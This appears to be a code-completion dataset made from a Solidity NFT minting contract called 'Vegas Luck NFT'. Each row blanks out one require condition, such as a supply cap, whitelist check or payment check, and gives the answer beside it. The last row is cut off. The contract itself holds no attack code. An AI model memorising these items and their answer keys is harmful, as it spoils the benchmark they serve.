mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < _airdropAddresses.length; i++) {
address to = _airdropAddresses[i];
_mintLoopTier1(to, _mintAmount);
}
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| TIER1_COUNTER+_airdropAddresses.length*_mintAmount<=TIER1_SUPPLY,"Exceeds TIER1_SUPPLY" | 218,818 | TIER1_COUNTER+_airdropAddresses.length*_mintAmount<=TIER1_SUPPLY |
"Exceeds TIER2_SUPPLY" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < _airdropAddresses.length; i++) {
address to = _airdropAddresses[i];
_mintLoopTier2(to, _mintAmount);
}
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| TIER2_COUNTER+_airdropAddresses.length*_mintAmount<=TIER2_SUPPLY,"Exceeds TIER2_SUPPLY" | 218,818 | TIER2_COUNTER+_airdropAddresses.length*_mintAmount<=TIER2_SUPPLY |
"Exceeds TIER3_SUPPLY" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < _airdropAddresses.length; i++) {
address to = _airdropAddresses[i];
_mintLoopTier3(to, _mintAmount);
}
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| TIER3_COUNTER+_airdropAddresses.length*_mintAmount<=TIER3_SUPPLY,"Exceeds TIER3_SUPPLY" | 218,818 | TIER3_COUNTER+_airdropAddresses.length*_mintAmount<=TIER3_SUPPLY |
"Purchase would exceed TIER1_SUPPLY" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
require(SALE_STEP >= 1 && SALE_STEP <= 3, "Sale is not opened");
require(<FILL_ME>)
if (SALE_STEP == 1) {
require(MAP_WHITELIST1[msg.sender], "Not registered to whitelist1");
} else if (SALE_STEP == 2) {
require(MAP_WHITELIST2[msg.sender], "Not registered to whitelist2");
}
require(tier1Cost() * numberOfTokens <= msg.value,"ETH amount is not sufficient");
if (MAP_ADDRESS_FROM_REFERRAL[referralCode] != address(0)) {
uint256 refAmount = msg.value * REFERRAL_PERCENT / 100;
payable(MAP_ADDRESS_FROM_REFERRAL[referralCode]).transfer(refAmount);
payable(PAYMENT_WALLET).transfer(msg.value - refAmount);
} else {
payable(PAYMENT_WALLET).transfer(msg.value);
}
_mintLoopTier1(msg.sender, numberOfTokens);
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| TIER1_COUNTER+numberOfTokens<=TIER1_SUPPLY,"Purchase would exceed TIER1_SUPPLY" | 218,818 | TIER1_COUNTER+numberOfTokens<=TIER1_SUPPLY |
"Not registered to whitelist1" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
require(SALE_STEP >= 1 && SALE_STEP <= 3, "Sale is not opened");
require(TIER1_COUNTER + numberOfTokens <= TIER1_SUPPLY,"Purchase would exceed TIER1_SUPPLY");
if (SALE_STEP == 1) {
require(<FILL_ME>)
} else if (SALE_STEP == 2) {
require(MAP_WHITELIST2[msg.sender], "Not registered to whitelist2");
}
require(tier1Cost() * numberOfTokens <= msg.value,"ETH amount is not sufficient");
if (MAP_ADDRESS_FROM_REFERRAL[referralCode] != address(0)) {
uint256 refAmount = msg.value * REFERRAL_PERCENT / 100;
payable(MAP_ADDRESS_FROM_REFERRAL[referralCode]).transfer(refAmount);
payable(PAYMENT_WALLET).transfer(msg.value - refAmount);
} else {
payable(PAYMENT_WALLET).transfer(msg.value);
}
_mintLoopTier1(msg.sender, numberOfTokens);
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| MAP_WHITELIST1[msg.sender],"Not registered to whitelist1" | 218,818 | MAP_WHITELIST1[msg.sender] |
"Not registered to whitelist2" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
require(SALE_STEP >= 1 && SALE_STEP <= 3, "Sale is not opened");
require(TIER1_COUNTER + numberOfTokens <= TIER1_SUPPLY,"Purchase would exceed TIER1_SUPPLY");
if (SALE_STEP == 1) {
require(MAP_WHITELIST1[msg.sender], "Not registered to whitelist1");
} else if (SALE_STEP == 2) {
require(<FILL_ME>)
}
require(tier1Cost() * numberOfTokens <= msg.value,"ETH amount is not sufficient");
if (MAP_ADDRESS_FROM_REFERRAL[referralCode] != address(0)) {
uint256 refAmount = msg.value * REFERRAL_PERCENT / 100;
payable(MAP_ADDRESS_FROM_REFERRAL[referralCode]).transfer(refAmount);
payable(PAYMENT_WALLET).transfer(msg.value - refAmount);
} else {
payable(PAYMENT_WALLET).transfer(msg.value);
}
_mintLoopTier1(msg.sender, numberOfTokens);
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| MAP_WHITELIST2[msg.sender],"Not registered to whitelist2" | 218,818 | MAP_WHITELIST2[msg.sender] |
"ETH amount is not sufficient" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
require(SALE_STEP >= 1 && SALE_STEP <= 3, "Sale is not opened");
require(TIER1_COUNTER + numberOfTokens <= TIER1_SUPPLY,"Purchase would exceed TIER1_SUPPLY");
if (SALE_STEP == 1) {
require(MAP_WHITELIST1[msg.sender], "Not registered to whitelist1");
} else if (SALE_STEP == 2) {
require(MAP_WHITELIST2[msg.sender], "Not registered to whitelist2");
}
require(<FILL_ME>)
if (MAP_ADDRESS_FROM_REFERRAL[referralCode] != address(0)) {
uint256 refAmount = msg.value * REFERRAL_PERCENT / 100;
payable(MAP_ADDRESS_FROM_REFERRAL[referralCode]).transfer(refAmount);
payable(PAYMENT_WALLET).transfer(msg.value - refAmount);
} else {
payable(PAYMENT_WALLET).transfer(msg.value);
}
_mintLoopTier1(msg.sender, numberOfTokens);
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
